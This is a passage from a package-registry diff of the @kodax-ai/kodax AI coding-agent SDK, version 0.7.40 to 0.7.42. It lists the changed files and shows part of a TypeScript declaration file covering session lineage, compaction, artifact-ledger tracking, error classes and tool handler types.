@kodax-ai/kodax 0.7.40 → 0.7.42

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (70) hide show
  1. package/CHANGELOG.md +146 -1
  2. package/README.md +129 -232
  3. package/README_CN.md +128 -253
  4. package/dist/chunks/chunk-3RKBXWZS.js +2 -0
  5. package/dist/chunks/chunk-7JLYVWAF.js +1033 -0
  6. package/dist/chunks/chunk-CD3R5YBH.js +16 -0
  7. package/dist/chunks/chunk-DKXUY5F2.js +209 -0
  8. package/dist/chunks/chunk-HMYEQJGT.js +31 -0
  9. package/dist/chunks/{chunk-FAVPT4P7.js → chunk-IYJ5EPRV.js} +1 -1
  10. package/dist/chunks/chunk-KUX5LRPP.js +2 -0
  11. package/dist/chunks/{chunk-EQ5DGS2W.js → chunk-OWSKU55I.js} +5 -6
  12. package/dist/chunks/chunk-ZZ4KRK2B.js +465 -0
  13. package/dist/chunks/compaction-config-FIFFP4FT.js +2 -0
  14. package/dist/chunks/{construction-bootstrap-OFPUZTXQ.js → construction-bootstrap-J2WOCYEK.js} +1 -1
  15. package/dist/chunks/dist-2ZHWDXMQ.js +2 -0
  16. package/dist/chunks/dist-W4CJWLIH.js +2 -0
  17. package/dist/chunks/utils-A5MWDTWZ.js +2 -0
  18. package/dist/index.d.ts +237 -7
  19. package/dist/index.js +5 -5
  20. package/dist/kodax_cli.js +935 -917
  21. package/dist/sdk-agent.d.ts +1375 -10
  22. package/dist/sdk-agent.js +1 -1
  23. package/dist/sdk-coding.d.ts +4608 -14
  24. package/dist/sdk-coding.js +1 -1
  25. package/dist/sdk-llm.d.ts +210 -10
  26. package/dist/sdk-llm.js +1 -1
  27. package/dist/sdk-mcp.d.ts +17 -0
  28. package/dist/sdk-mcp.js +2 -0
  29. package/dist/sdk-repl.d.ts +3026 -13
  30. package/dist/sdk-repl.js +2 -1
  31. package/dist/sdk-session.d.ts +164 -0
  32. package/dist/sdk-session.js +2 -0
  33. package/dist/sdk-skills.d.ts +553 -9
  34. package/dist/sdk-skills.js +1 -1
  35. package/dist/types-chunks/bash-prefix-extractor.d-CkhaqKkg.d.ts +2571 -0
  36. package/dist/types-chunks/capability.d-3C62G8Eq.d.ts +39 -0
  37. package/dist/types-chunks/config.d-BfJUXxC0.d.ts +41 -0
  38. package/dist/types-chunks/cost-tracker.d-B6vMoLLF.d.ts +360 -0
  39. package/dist/types-chunks/history-cleanup.d-DznrzEiU.d.ts +1475 -0
  40. package/dist/types-chunks/instance-discovery.d-BsKnIwpg.d.ts +990 -0
  41. package/dist/types-chunks/resolver.d-DX9au4NJ.d.ts +263 -0
  42. package/dist/types-chunks/session-storage.d-Cci897iM.d.ts +68 -0
  43. package/dist/types-chunks/storage.d-Bc5DoAwp.d.ts +532 -0
  44. package/dist/types-chunks/transport.d-DuyjG30t.d.ts +180 -0
  45. package/dist/types-chunks/types.d-B1uGoVTE.d.ts +400 -0
  46. package/dist/types-chunks/types.d-C5mHR87z.d.ts +119 -0
  47. package/dist/types-chunks/types.d-mM8vqvhT.d.ts +254 -0
  48. package/package.json +16 -3
  49. package/dist/acp_events.d.ts +0 -109
  50. package/dist/acp_logger.d.ts +0 -20
  51. package/dist/acp_server.d.ts +0 -92
  52. package/dist/chunks/chunk-6QO6HWGU.js +0 -30
  53. package/dist/chunks/chunk-CLS57NPX.js +0 -460
  54. package/dist/chunks/chunk-NDNILSTR.js +0 -2
  55. package/dist/chunks/chunk-QZEDWITG.js +0 -1226
  56. package/dist/chunks/chunk-Z5EBDA6R.js +0 -15
  57. package/dist/chunks/compaction-config-A7XZ6H5Y.js +0 -2
  58. package/dist/chunks/dist-M57GIWR4.js +0 -2
  59. package/dist/chunks/dist-OTUF22DA.js +0 -2
  60. package/dist/chunks/utils-DFMYJUTE.js +0 -2
  61. package/dist/cli_commands.d.ts +0 -17
  62. package/dist/cli_option_helpers.d.ts +0 -49
  63. package/dist/cli_option_helpers.test.d.ts +0 -1
  64. package/dist/constructed_cli.d.ts +0 -82
  65. package/dist/constructed_cli.test.d.ts +0 -1
  66. package/dist/kodax_cli.d.ts +0 -7
  67. package/dist/self_modify_cli.d.ts +0 -81
  68. package/dist/self_modify_cli.test.d.ts +0 -9
  69. package/dist/skill_cli.d.ts +0 -15
  70. package/dist/skill_cli.test.d.ts +0 -1
@@ -1,20 +1,4614 @@
1
+ import { m as KodaXMessage, X as KodaXToolDefinition, Z as KodaXToolResultContentItem, D as KodaXReasoningMode, a0 as KodaXToolUseBlock, g as KodaXContentBlock, q as KodaXProviderCapabilityProfile, C as KodaXReasoningCapability, Q as KodaXTaskType, i as KodaXExecutionMode, P as KodaXTaskRoutingDecision, K as KodaXAmaControllerDecision, V as KodaXThinkingDepth } from './types-chunks/types.d-B1uGoVTE.js';
2
+ export { a as KodaXAmaFanoutClass, b as KodaXAmaFanoutPolicy, c as KodaXAmaProfile, d as KodaXAmaTactic, h as KodaXCustomProviderConfig, l as KodaXImageBlock, n as KodaXModelDescriptor, p as KodaXProtocolFamily, r as KodaXProviderConfig, t as KodaXProviderConversationSemantics, w as KodaXProviderMcpSupport, z as KodaXProviderStreamOptions, B as KodaXProviderTransport, E as KodaXReasoningOverride, F as KodaXReasoningRequest, G as KodaXRedactedThinkingBlock, H as KodaXReviewScale, I as KodaXRiskLevel, J as KodaXStreamResult, M as KodaXTaskBudgetOverrides, S as KodaXTextBlock, T as KodaXThinkingBlock, U as KodaXThinkingBudgetMap, W as KodaXTokenUsage, Y as KodaXToolResultBlock } from './types-chunks/types.d-B1uGoVTE.js';
3
+ export { K as KODAX_DEFAULT_PROVIDER, b as KODAX_PROVIDERS, c as KODAX_PROVIDER_SNAPSHOTS, d as KODAX_REASONING_MODE_SEQUENCE, f as KodaXAnthropicCompatProvider, g as KodaXError, i as KodaXOpenAICompatProvider, j as KodaXProviderError, k as KodaXRateLimitError, P as ProviderName, m as buildReasoningOverrideKey, o as clearReasoningOverride, p as clearRuntimeModelProviders, q as createCustomProvider, r as getAvailableProviderNames, s as getCustomProvider, t as getCustomProviderList, u as getCustomProviderModels, v as getCustomProviderNames, x as getProvider, y as getProviderConfiguredCapabilityProfile, z as getProviderConfiguredReasoningCapability, A as getProviderList, B as getProviderModel, C as getProviderModels, E as getRuntimeModelProvider, F as getRuntimeModelProviderNames, G as isCustomProviderName, H as isKnownProvider, I as isProviderConfigured, J as isProviderName, M as isRuntimeModelProviderName, N as loadReasoningOverride, R as reasoningCapabilityToOverride, S as reasoningOverrideToCapability, T as registerCustomProviders, U as registerModelProvider, V as resolveProvider, X as saveReasoningOverride, Y as validateCustomProviderConfig } from './types-chunks/resolver.d-DX9au4NJ.js';
4
+ import { K as KodaXBaseProvider, a as CostTracker } from './types-chunks/cost-tracker.d-B6vMoLLF.js';
5
+ import { C as CapabilityKind, a as CapabilityProvider, b as CapabilityResult } from './types-chunks/capability.d-3C62G8Eq.js';
6
+ import { q as CompactionDetails, au as KodaXToolExecutionContext, a2 as KodaXRepoIntelligenceCapability, a5 as KodaXRepoIntelligenceTrace, a3 as KodaXRepoIntelligenceMode, a7 as KodaXRepoRoutingSignals, a4 as KodaXRepoIntelligenceResolvedMode, _ as KodaXOptions, P as KodaXInputArtifact, G as KodaXContextOptions, a1 as KodaXProviderPolicyHints, aB as ProviderResilienceConfig, aC as ProviderResiliencePolicy, F as FailureStage, aH as ResilienceClassification, az as ProviderExecutionState, aE as RecoveryDecision, aG as RecoveryResult, a8 as KodaXResult, ab as KodaXSessionControl, ac as KodaXSessionMutators, O as KodaXFanoutSchedulerPlan, M as KodaXFanoutBranchTransition, N as KodaXFanoutSchedulerInput, z as KodaXChildContextBundle, a0 as KodaXParentReductionContract, L as KodaXFanoutBranchRecord, R as KodaXManagedProtocolPayload, u as ExtensionRuntimeContract, I as KodaXEvents, k as AutoRules, aQ as ToolCallSignal, aL as SignalCollector } from './types-chunks/bash-prefix-extractor.d-CkhaqKkg.js';
7
+ export { C as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD, n as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD, A as AgentsFile, a as AskUserMultiOptions, b as AskUserQuestionItem, c as AskUserQuestionOptions, d as AutoModeAskUser, e as AutoModeAskUserVerdict, D as AutoModeDenialTracker, f as AutoModeEngine, g as AutoModeGuardrailConfig, h as AutoModeSharedState, i as AutoModeStats, j as AutoModeToolGuardrail, B as BASH_POLICY_SPEC, E as BREAKER_ERROR_THRESHOLD, aS as BREAKER_WINDOW_MS, l as BashPrefixExtractor, m as BashPrefixResult, o as CircuitBreaker, p as CompactionAnchor, r as CompactionResult, s as CompactionUpdate, t as CreateBashPrefixExtractorOptions, v as ExtractCommandPrefixOptions, K as KodaXAgentMode, w as KodaXBudgetDisclosureZone, x as KodaXBudgetExtensionRequest, y as KodaXChildAgentResult, H as KodaXContextTokenSnapshot, J as KodaXFanoutBranchLifecycle, Q as KodaXManagedBudgetSnapshot, S as KodaXManagedTask, T as KodaXManagedTaskRuntimeState, U as KodaXManagedTaskStatusEvent, V as KodaXMcpConnectMode, W as KodaXMcpServerConfig, X as KodaXMcpServersConfig, Y as KodaXMcpTransport, Z as KodaXMemoryStrategy, $ as KodaXOrchestrationVerdict, a6 as KodaXRepoIntelligenceTraceEvent, a9 as KodaXRoleRoundSummary, aa as KodaXRuntimeVerificationContract, ad as KodaXSessionOptions, ae as KodaXSkillInvocationContext, af as KodaXSkillMap, ag as KodaXSkillProjectionConfidence, ah as KodaXTaskCapabilityHint, ai as KodaXTaskContract, aj as KodaXTaskEvidenceArtifact, ak as KodaXTaskEvidenceBundle, al as KodaXTaskEvidenceEntry, am as KodaXTaskRole, an as KodaXTaskRoleAssignment, ao as KodaXTaskStatus, ap as KodaXTaskSurface, aq as KodaXTaskToolPolicy, ar as KodaXTaskVerificationContract, as as KodaXTaskVerificationCriterion, at as KodaXTaskWorkItem, av as KodaXVerificationScorecard, aw as KodaXVerificationScorecardCriterion, ax as LoadAgentsOptions, ay as LoadedRulesSource, aA as ProviderRecoveryEvent, aD as RecoveryAction, aF as RecoveryLadderStep, aI as ResilienceErrorClass, aJ as RulesLoadError, aK as RulesLoadResult, aM as SkippedRulesSource, aN as TodoItem, aO as TodoList, aP as TodoStatus, aR as TrustState, b7 as autoModeDenialShouldFallback, b8 as breakerShouldFallback, aT as collectAllSignals, aU as computeRulesFingerprint, aY as createAutoModeDenialTracker, aV as createAutoModeToolGuardrail, aW as createBashPrefixExtractor, aX as createCircuitBreaker, aZ as extractCommandPrefix, a_ as formatAgentsForPrompt, a$ as getKodaxGlobalDir, b0 as loadAgentsFiles, b1 as loadAutoRules, b2 as parseAutoRules, b3 as readTrustState, b4 as recordAutoModeAllow, b5 as recordAutoModeBlock, b6 as recordBreakerError, b9 as trustProjectRules } from './types-chunks/bash-prefix-extractor.d-CkhaqKkg.js';
8
+ import { N as SessionExtension, L as SessionEntry, g as CompactionPolicy, S as Session, C as CompactionContext, w as PolicyCompactionResult, Q as QualityInvariant, Z as ToolCapability } from './types-chunks/history-cleanup.d-DznrzEiU.js';
9
+ export { e as CompactionEntry, f as CompactionEntryPayload, h as DefaultSummaryCompaction, i as DefaultSummaryCompactionOptions, I as InMemorySessionOptions, K as KODAX_API_MIN_INTERVAL, n as KODAX_DEFAULT_TIMEOUT, o as KODAX_HARD_TIMEOUT, p as KODAX_MAX_INCOMPLETE_RETRIES, r as KODAX_MAX_RETRIES, s as KODAX_MAX_TOKENS, t as KODAX_RETRY_BASE_DELAY, u as KODAX_STAGGER_DELAY, v as MessageEntry, P as PROMISE_PATTERN, x as PresetDispatcher, B as RunEvent, E as RunOptions, F as RunResult, G as Runner, T as SessionForkOptions, a2 as cleanupIncompleteToolCalls, a3 as countTokens, a4 as createInMemorySession, a7 as estimateTokens, aa as getAgentConfigHome, ab as getAgentConfigPath, ac as getAppDataDir, ad as registerPresetDispatcher, ag as setAgentConfigHome, ah as validateAndFixToolHistory } from './types-chunks/history-cleanup.d-DznrzEiU.js';
10
+ import { o as KodaXSessionLineage, f as KodaXJsonValue, a as KodaXCompactMemorySeed, l as KodaXSessionEntry, v as KodaXSessionTreeNode, n as KodaXSessionLabelEntry, r as KodaXSessionNavigationOptions, h as KodaXSessionArtifactLedgerEntry, b as KodaXExtensionSessionRecord, d as KodaXExtensionStore, S as SessionErrorMetadata } from './types-chunks/types.d-mM8vqvhT.js';
11
+ export { K as KodaXCompactMemoryProgress, c as KodaXExtensionSessionState, i as KodaXSessionBranchSummaryEntry, j as KodaXSessionCompactionEntry, k as KodaXSessionData, m as KodaXSessionEntryBase, p as KodaXSessionMessageEntry, q as KodaXSessionMeta, s as KodaXSessionRuntimeInfo, t as KodaXSessionScope, u as KodaXSessionStorage, w as KodaXSessionUiHistoryItem, x as KodaXSessionUiHistoryItemType, y as KodaXSessionWorkspaceKind } from './types-chunks/types.d-mM8vqvhT.js';
12
+ import { o as RunnableTool, A as Agent, J as ToolGuardrail, a as AgentMessage, q as RunnerLlmReturn, r as RunnerToolCall } from './types-chunks/instance-discovery.d-BsKnIwpg.js';
13
+ export { c as AgentReasoningProfile, d as AgentTool, G as Guardrail, H as Handoff, R as ReasoningDepth, Q as createAgent, U as createHandoff } from './types-chunks/instance-discovery.d-BsKnIwpg.js';
14
+ import { b as McpServersConfig } from './types-chunks/config.d-BfJUXxC0.js';
15
+ export { M as McpConnectMode, a as McpServerConfig, c as McpTransportKind } from './types-chunks/config.d-BfJUXxC0.js';
16
+ import { e as McpProviderOptions, b as McpCapabilityProvider } from './types-chunks/transport.d-DuyjG30t.js';
17
+ export { M as McpCapabilityDescriptor, a as McpCapabilityKind, c as McpCapabilityRisk, d as McpCatalogItem, f as McpServerCatalogSnapshot, g as McpServerRuntime, h as McpServerRuntimeDiagnostics, i as McpTransport, j as McpTransportEvents, k as createMcpCapabilityId, l as createMcpTransport, m as defaultMcpCacheDir, n as getMcpCachePaths, p as parseMcpCapabilityId, s as searchMcpCatalog } from './types-chunks/transport.d-DuyjG30t.js';
18
+ import '@anthropic-ai/sdk';
19
+ import 'openai';
20
+
1
21
  /**
2
- * SDK subpath entry `@kodax-ai/kodax/coding`
22
+ * LineageExtension SessionExtension façade over lineage semantics.
3
23
  *
4
- * Re-exports the entire `@kodax-ai/coding` public API — coding tools,
5
- * prompts, AMA harness primitives, child task dispatch, idle-yield
6
- * orchestration, etc.
24
+ * FEATURE_081 (v0.7.23): expresses today's `KodaXSessionLineage` operations
25
+ * (label, rewind, compaction ledger, branch summary) as a
26
+ * `SessionExtension` over the base `Session` primitive.
7
27
  *
8
- * Note: the root entry `@kodax-ai/kodax` already does `export * from
9
- * '@kodax-ai/coding'` for backward compatibility with v0.7.38's single-
10
- * entry model. This subpath is provided as a tree-shake-friendly
11
- * alternative when SDK consumers only need coding-package APIs.
28
+ * FEATURE_082 (v0.7.24): moved from `@kodax-ai/coding/src/extensions/lineage.ts`
29
+ * to this package. Depends on `@kodax-ai/agent` for `Session` / `SessionEntry` /
30
+ * `SessionExtension` (Layer A primitives extracted to `@kodax-ai/core` in
31
+ * FEATURE_082, merged back into `@kodax-ai/agent` in v0.7.35.1 FEATURE_142).
32
+ * `@kodax-ai/coding` keeps a barrel re-export.
12
33
  *
13
- * Usage:
14
- * ```ts
15
- * import { runKodaX, dispatchChildTask } from '@kodax-ai/kodax/coding';
16
- * ```
34
+ * Scope:
35
+ * - Declare the extension object.
36
+ * - Implement `label` and `attachArtifact` operators that append standard
37
+ * entries to a Session.
38
+ * - Implement a `buildLineageTree` reducer that projects an entry stream
39
+ * back to a navigable tree.
40
+ * - NOT re-implemented here: `branch`, `rewind`, full compaction. Those
41
+ * stay in `@kodax-ai/agent/session-lineage.ts` for coding-preset use; the
42
+ * `LineageCompaction` policy in this package is the thin wrapper that
43
+ * adapts them to the Layer A `CompactionPolicy` contract.
44
+ */
45
+
46
+ /**
47
+ * Entry types claimed by `LineageExtension`. Mirrors the legacy
48
+ * `KodaXSessionEntry` tagged union plus a `rewind_marker` placeholder (the
49
+ * legacy lineage records rewinds via `activeEntryId` mutation; Session is
50
+ * linear, so a marker entry is the equivalent).
51
+ */
52
+ declare const LINEAGE_ENTRY_TYPES: readonly ["message", "label", "compaction", "branch_summary", "archive_marker", "rewind_marker", "artifact_ledger"];
53
+ type LineageEntryType = (typeof LINEAGE_ENTRY_TYPES)[number];
54
+ /**
55
+ * Payload shape for a `label` entry. Mirrors
56
+ * `KodaXSessionLabelEntry.targetId`/`label` fields on the legacy lineage.
57
+ */
58
+ interface LineageLabelPayload {
59
+ readonly targetId: string;
60
+ readonly label?: string;
61
+ }
62
+ /**
63
+ * Payload shape for an `artifact_ledger` entry. Mirrors a minimal subset of
64
+ * `KodaXSessionArtifactLedgerEntry`; full semantic fidelity is kept on the
65
+ * legacy side for now and normalised in FEATURE_082.
66
+ */
67
+ interface LineageArtifactLedgerPayload {
68
+ readonly ref: string;
69
+ readonly kind?: string;
70
+ readonly summary?: string;
71
+ }
72
+ /**
73
+ * Projected tree node. Mirrors the navigation shape of
74
+ * `KodaXSessionTreeNode` from `@kodax-ai/agent/types.ts`, restricted to the
75
+ * fields the base Session can supply.
76
+ */
77
+ interface LineageTreeNode {
78
+ readonly entry: SessionEntry;
79
+ readonly children: LineageTreeNode[];
80
+ readonly label?: string;
81
+ }
82
+ /**
83
+ * The exported extension. Operators write standard-shaped entries; the
84
+ * reducer projects an entry stream back to a navigable tree.
85
+ *
86
+ * Immutability: top-level object, `operators`, and `reducers` are all
87
+ * frozen. Freezes are shallow — the functions stored inside `operators`
88
+ * and `reducers` are immutable by nature (closures reference only
89
+ * module-private state). External code must not mutate the extension;
90
+ * doing so is a programmer error that the type-level `readonly` already
91
+ * disallows without a cast.
92
+ */
93
+ declare const LineageExtension: SessionExtension;
94
+
95
+ /**
96
+ * LineageCompaction — `CompactionPolicy` adapter for the coding preset's
97
+ * FEATURE_072 lineage-native compaction runtime.
98
+ *
99
+ * FEATURE_082 (v0.7.24): introduced alongside the lineage extraction so the
100
+ * coding preset can implement `CompactionPolicy` without re-implementing the
101
+ * compaction loop. The actual compaction runtime (microcompaction, post-
102
+ * compact reconstruction, summary generation) stays in
103
+ * `@kodax-ai/agent/src/compaction/` until FEATURE_084 (v0.7.26) consolidates it.
104
+ *
105
+ * Usage (inside @kodax-ai/coding):
106
+ *
107
+ * const policy = new LineageCompaction({
108
+ * shouldCompact: (session, used, budget) => runFeature072Heuristic(used, budget),
109
+ * compact: async (session, ctx) => runFeature072Compaction(session, ctx),
110
+ * });
111
+ *
112
+ * The injected delegates keep this package free of coding-specific imports,
113
+ * preserving the dependency direction
114
+ * `@kodax-ai/coding -> @kodax-ai/session-lineage -> @kodax-ai/agent`.
115
+ */
116
+
117
+ /**
118
+ * Delegates required to implement `LineageCompaction`. The coding preset
119
+ * supplies implementations that bridge to the existing FEATURE_072 code
120
+ * paths.
121
+ */
122
+ interface LineageCompactionDelegates {
123
+ readonly shouldCompact: (session: Session, tokensUsed: number, budget: number) => boolean;
124
+ readonly compact: (session: Session, ctx: CompactionContext) => Promise<PolicyCompactionResult>;
125
+ readonly restore?: (session: Session, hint: unknown) => Promise<void>;
126
+ }
127
+ /**
128
+ * `CompactionPolicy` implementation that preserves FEATURE_072 lineage-native
129
+ * compaction semantics by delegating to injected coding-preset functions.
130
+ */
131
+ declare class LineageCompaction implements CompactionPolicy {
132
+ readonly name = "lineage-compaction";
133
+ private readonly delegates;
134
+ constructor(delegates: LineageCompactionDelegates);
135
+ shouldCompact(session: Session, tokensUsed: number, budget: number): boolean;
136
+ compact(session: Session, ctx: CompactionContext): Promise<PolicyCompactionResult>;
137
+ restore(session: Session, hint: unknown): Promise<void>;
138
+ }
139
+
140
+ /**
141
+ * @kodax-ai/agent Session
142
+ *
143
+ * 会话管理 - Session ID 生成和消息处理
144
+ */
145
+
146
+ /**
147
+ * 生成会话 ID
148
+ * 格式: YYYYMMDD_HHMMSS
149
+ */
150
+ declare function generateSessionId(): Promise<string>;
151
+ /**
152
+ * 从消息中提取标题
153
+ * 取第一条用户消息的前50个字符
154
+ */
155
+ declare function extractTitleFromMessages(messages: KodaXMessage[]): string;
156
+
157
+ type NavigableSessionEntry = Exclude<KodaXSessionEntry, KodaXSessionLabelEntry>;
158
+ /**
159
+ * Reconcile a linear message list against an existing lineage tree.
160
+ *
161
+ * Existing matching entries are reused when possible, and only the missing
162
+ * tail is appended as new message entries.
163
+ */
164
+ declare function createSessionLineage(messages: KodaXMessage[], previous?: KodaXSessionLineage): KodaXSessionLineage;
165
+ /**
166
+ * Walk the lineage from a target entry back to the root.
167
+ *
168
+ * Traversal stops safely if malformed data introduces a parent cycle.
169
+ */
170
+ declare function getSessionLineagePath(lineage: KodaXSessionLineage, targetId?: string | null): NavigableSessionEntry[];
171
+ /**
172
+ * Build the effective LLM-visible message context for the active lineage path.
173
+ *
174
+ * FEATURE_072: for non-rewind compaction entries that carry
175
+ * `postCompactAttachments`, the slicer inlines attachments immediately after
176
+ * the summary. `getContextMessagesForEntry` stays 1-to-1 — attachments are a
177
+ * slicer-layer concern, which preserves the contract
178
+ * `entryMatchesContextMessage` and FEATURE_073's future firstKeptEntryId-based
179
+ * slicing both depend on.
180
+ */
181
+ declare function getSessionMessagesFromLineage(lineage: KodaXSessionLineage, targetId?: string | null): KodaXMessage[];
182
+ /**
183
+ * Resolve an entry selector using either a direct entry id or the latest label.
184
+ */
185
+ declare function resolveSessionLineageTarget(lineage: KodaXSessionLineage, selector: string): NavigableSessionEntry | undefined;
186
+ /**
187
+ * Move the active leaf to a selected target, optionally appending a
188
+ * branch-summary node that captures the abandoned path.
189
+ */
190
+ declare function setSessionLineageActiveEntry(lineage: KodaXSessionLineage, selector: string, options?: KodaXSessionNavigationOptions): KodaXSessionLineage | null;
191
+ /**
192
+ * Append a label change entry that bookmarks a lineage node.
193
+ */
194
+ declare function appendSessionLineageLabel(lineage: KodaXSessionLineage, selector: string, label?: string): KodaXSessionLineage | null;
195
+ /**
196
+ * Apply a compaction event to the lineage.
197
+ *
198
+ * FEATURE_072 signature change: `keptMessages` (the post-summary tail that
199
+ * will become lineage entries) and `postCompactAttachments` (ledger +
200
+ * file-content messages that live on the CompactionEntry itself) are now
201
+ * separate parameters. The kept tail MUST NOT include attachments — otherwise
202
+ * they would be double-stored (once as message entries in lineage, once on
203
+ * the compaction entry). Phase A keeps `postCompactAttachments` optional so
204
+ * current callers that pass `[]` (or omit it) behave identically to today.
205
+ * Phase B migrates callers to supply real attachments.
206
+ */
207
+ declare function applySessionCompaction(lineage: KodaXSessionLineage | undefined, compactedMessages: KodaXMessage[], anchor: {
208
+ summary: string;
209
+ tokensBefore?: number;
210
+ tokensAfter?: number;
211
+ artifactLedgerId?: string;
212
+ reason?: string;
213
+ details?: KodaXJsonValue | CompactionDetails;
214
+ memorySeed?: KodaXCompactMemorySeed;
215
+ }, postCompactAttachments?: readonly KodaXMessage[]): KodaXSessionLineage;
216
+ /**
217
+ * Rewind the current session lineage to a target entry, truncating all entries after it.
218
+ * Records a rewind event in the lineage for auditability.
219
+ * Returns null if targetEntryId is not found.
220
+ *
221
+ * @param lineage - The session lineage to rewind
222
+ * @param targetEntryId - The entry ID to rewind to (inclusive)
223
+ * @returns A new lineage with entries truncated after the target, or null if target not found
224
+ */
225
+ /**
226
+ * Find the entry ID of the second-to-last user message in the lineage.
227
+ * Used by `/rewind` (no argument) to go back one conversational turn.
228
+ * Returns null if fewer than 2 user messages exist.
229
+ */
230
+ declare function findPreviousUserEntryId(lineage: KodaXSessionLineage): string | null;
231
+ declare function rewindSessionLineage(lineage: KodaXSessionLineage, targetEntryId: string): KodaXSessionLineage | null;
232
+ declare function forkSessionLineage(lineage: KodaXSessionLineage, selector?: string): KodaXSessionLineage | null;
233
+ /**
234
+ * Convert a lineage into a nested tree structure for UI presentation.
235
+ */
236
+ declare function buildSessionTree(lineage: KodaXSessionLineage): KodaXSessionTreeNode[];
237
+ /**
238
+ * Count the effective context messages on the active lineage path.
239
+ */
240
+ declare function countActiveLineageMessages(lineage: KodaXSessionLineage): number;
241
+ /**
242
+ * Archive message entries from old "islands" (disconnected subtrees).
243
+ *
244
+ * Each compaction entry has parentId: null, creating an independent island.
245
+ * The active leaf lives in one island (the "current" island). All other
246
+ * islands are considered "old" and eligible for archival.
247
+ *
248
+ * A "preserve closure" is computed first:
249
+ * - All entries in the current island (active path + recent branches)
250
+ * - Label targets and their ancestor chains
251
+ * - Non-message entries and their ancestor chains (prevents tree drift)
252
+ *
253
+ * Only entries outside the preserve closure are archived.
254
+ */
255
+ declare function archiveOldIslands(lineage: KodaXSessionLineage): {
256
+ slimmedLineage: KodaXSessionLineage;
257
+ archivedEntries: KodaXSessionEntry[];
258
+ archivedCount: number;
259
+ archiveBatchId: string;
260
+ };
261
+
262
+ /**
263
+ * @kodax-ai/agent File Tracking — artifactLedger extraction.
264
+ *
265
+ * FEATURE_185 (v0.7.42) extends the previous input-only extractor to also
266
+ * read each tool_use's matching tool_result, enriching `metadata` with parsed
267
+ * hits / matchedPaths / exitCode / tail. Pipeline:
268
+ *
269
+ * Round end (REPL: repl.ts:1279/1371)
270
+ * → extractArtifactLedger(result.messages)
271
+ * → tool_result still raw (top-of-loop microcompact hasn't run on these)
272
+ * → buildArtifactEntry parses result content into metadata
273
+ * → mergeArtifactLedger commits enrichment to context.artifactLedger
274
+ * → storage.save persists the enriched ledger
275
+ *
276
+ * Top-of-loop microcompact (run-substrate.ts:621, iteration N+1)
277
+ * → clears tool_result.content older than maxAge to `[Cleared: ...]`
278
+ *
279
+ * Compaction time (compaction.ts:257)
280
+ * → extractArtifactLedger(toProcess) re-runs on cleared messages
281
+ * → buildArtifactEntry's parsers refuse `[Cleared: ...]` → no fresh hits
282
+ * → mergeArtifactLedger preserves the round-end enrichment via
283
+ * per-key non-empty preference (see `mergeLedgerMetadata`).
284
+ *
285
+ * The metadata-aware merge is the keystone — without it, every compaction
286
+ * would silently downgrade ledger entries to input-only. End-to-end
287
+ * preservation is exercised by the "end-to-end enrichment survives
288
+ * microcompact" tests in file-tracker.test.ts.
289
+ */
290
+
291
+ declare function extractArtifactLedger(messages: KodaXMessage[]): KodaXSessionArtifactLedgerEntry[];
292
+ declare function mergeArtifactLedger(existing: KodaXSessionArtifactLedgerEntry[], next: KodaXSessionArtifactLedgerEntry[]): KodaXSessionArtifactLedgerEntry[];
293
+
294
+ /**
295
+ * KodaX Core Errors
296
+ *
297
+ * 错误类型体系 - 提供结构化的错误处理
298
+ */
299
+ /** 基础 KodaX 错误类 */
300
+ declare class KodaXError extends Error {
301
+ readonly code: string;
302
+ constructor(message: string, code?: string);
303
+ }
304
+ /** 工具执行错误 */
305
+ declare class KodaXToolError extends KodaXError {
306
+ readonly toolName: string;
307
+ readonly toolId?: string | undefined;
308
+ constructor(message: string, toolName: string, toolId?: string | undefined);
309
+ }
310
+ /** 会话错误 */
311
+ declare class KodaXSessionError extends KodaXError {
312
+ readonly sessionId?: string | undefined;
313
+ constructor(message: string, sessionId?: string | undefined);
314
+ }
315
+ /** 终端不支持错误 */
316
+ declare class KodaXTerminalError extends KodaXError {
317
+ /** 建议的替代命令 */
318
+ readonly suggestions: string[];
319
+ constructor(message: string, suggestions?: string[]);
320
+ }
321
+
322
+ /**
323
+ * KodaX Error Classification
324
+ *
325
+ * 错误分类系统 - 决定适当的恢复策略
326
+ */
327
+ declare enum ErrorCategory {
328
+ TRANSIENT = 0,// 临时错误,可重试(速率限制、超时、网络错误)
329
+ PERMANENT = 1,// 永久错误,不可重试(认证失败、无效请求)
330
+ TOOL_CALL_ID = 2,// 特定的 tool_call_id 不匹配错误
331
+ USER_ABORT = 3
332
+ }
333
+ interface ErrorClassification {
334
+ category: ErrorCategory;
335
+ retryable: boolean;
336
+ maxRetries: number;
337
+ retryDelay: number;
338
+ shouldCleanup: boolean;
339
+ }
340
+ /**
341
+ * 分类错误以确定适当的恢复策略
342
+ */
343
+ declare function classifyError(error: Error): ErrorClassification;
344
+
345
+ /**
346
+ * KodaX Core Constants
347
+ */
348
+
349
+ /** Prefix used to detect user-cancelled tool results in the agent loop. */
350
+ declare const CANCELLED_TOOL_RESULT_PREFIX = "[Cancelled]";
351
+ /** Standard cancellation message returned when a tool is cancelled by the user. */
352
+ declare const CANCELLED_TOOL_RESULT_MESSAGE = "[Cancelled] Operation cancelled by user";
353
+
354
+ /**
355
+ * KodaX Tool Types
356
+ */
357
+
358
+ /**
359
+ * Progress yield from a streaming (async generator) tool.
360
+ * Each yield appears as a real-time status update in the REPL transcript.
361
+ */
362
+ interface ToolProgress {
363
+ readonly stage: string;
364
+ readonly message: string;
365
+ }
366
+ /**
367
+ * Final result a tool may return. Either a plain string (the default for
368
+ * text-only tools) OR a typed-array form for multimodal returns (e.g.
369
+ * `read` on an image path returns `[{type:'text',...}, {type:'image',...}]`).
370
+ * Providers serialize each shape to their wire format; OpenAI-compat
371
+ * gateways downgrade image items to a placeholder rather than rejecting.
372
+ *
373
+ * The array form mirrors claudecode's FileReadTool image return — Claude
374
+ * Code packs image data into `tool_result` content so the model can
375
+ * re-fetch images via the tool path. See
376
+ * `c:/Works/claudecode/src/tools/FileReadTool/FileReadTool.ts:866-891`.
377
+ */
378
+ type ToolResult = string | readonly KodaXToolResultContentItem[];
379
+ /** Standard tool handler — returns a final result (text or multimodal). */
380
+ type ToolHandlerSync = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => Promise<ToolResult>;
381
+ /** Streaming tool handler — yields progress updates, returns final result. */
382
+ type ToolHandlerStreaming = (input: Record<string, unknown>, context: KodaXToolExecutionContext) => AsyncGenerator<ToolProgress, ToolResult, void>;
383
